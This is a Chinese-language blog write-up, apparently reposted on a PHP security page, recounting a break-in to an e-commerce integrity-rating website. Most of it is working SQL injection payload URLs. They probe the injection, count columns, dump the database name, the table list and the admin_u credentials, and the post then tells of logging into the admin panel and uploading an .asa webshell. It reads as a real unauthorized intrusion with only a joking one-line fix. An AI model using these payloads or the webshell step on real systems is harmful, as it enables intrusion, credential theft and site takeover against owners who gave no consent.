渗透某电子商务诚信评价中心 0x.1 今天在群里边跟别人扯淡，看见别人发来一条信息说。啥电子商务的网站被人挂了txt
尔等小菜果断的去围观了 看见别人挂的txt那叫羡慕啊 于是自己也去试试看能不能日下，于是有了下文 0x.2 来到 HdhCmsTest2cto测试数据 看了看，发现有注入啊.....
先是and 1=1 正常 and 1=2 错误 然后order by 猜字段 是到order by 11 报错了 order by 10正常 证明字段10 现在就到找出位置了
Union select http://HdhCmsTest2cto测试数据 /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10
位置爆出来了，我们来查一查他的数据库名吧，为接下来的爆数据库表名做准备 http://HdhCmsTest2cto测试数据 /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,database%28%29,3,4,5,6,7,8,9,10 图1
爆出库名为ectrust 现在我们来爆表
http://HdhCmsTest2cto测试数据 /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,2,3,4,5,concat%28GROUP_CONCAT%28DISTINCT%20table_name%29%29,7,8,9,10%20from%20information_schema.tables%20where%20table_schema=0x65637472757374 0x65637472757374 是ectrust 用小葵就可以转成HEX格式的
成功爆出所有表名 图2
admin_u,binfo,blacklist,com_contact,comments,company_web,complain,download,ec_binfo,ec_blacklist,ec_complain,ec_freeinfo,ec_pinfo,ec_rinfo,ec_trustauth,freeinfo,mk_info,news,news_type,pay,pinfo,precert,report_m,rinfo,scoreblue,scorefree,scorep,scorered,static_info,trustauth 目测admin_u是管理员帐号密码的表 果断的爆出帐号密码
http://HdhCmsTest2cto测试数据 /newsShow.php?id=1297836243%20and%201=2%20UNION%20SELECT%201,name,3,4,5,password,7,8,9,10%20from%20admin_u 图3
Google搜索到了后台，果断的登录 图4
文件上次可以直接上传.asa的文件 成功写入小马....... 图5
..........进去的时候发现好多人放了shell 蛋疼
FROM GUOKER
修复方案：
你懂得 都是注入惹的祸
查看更多关于一处mysql注入引发的血案 - 网站安全 - 自学php的详细内容...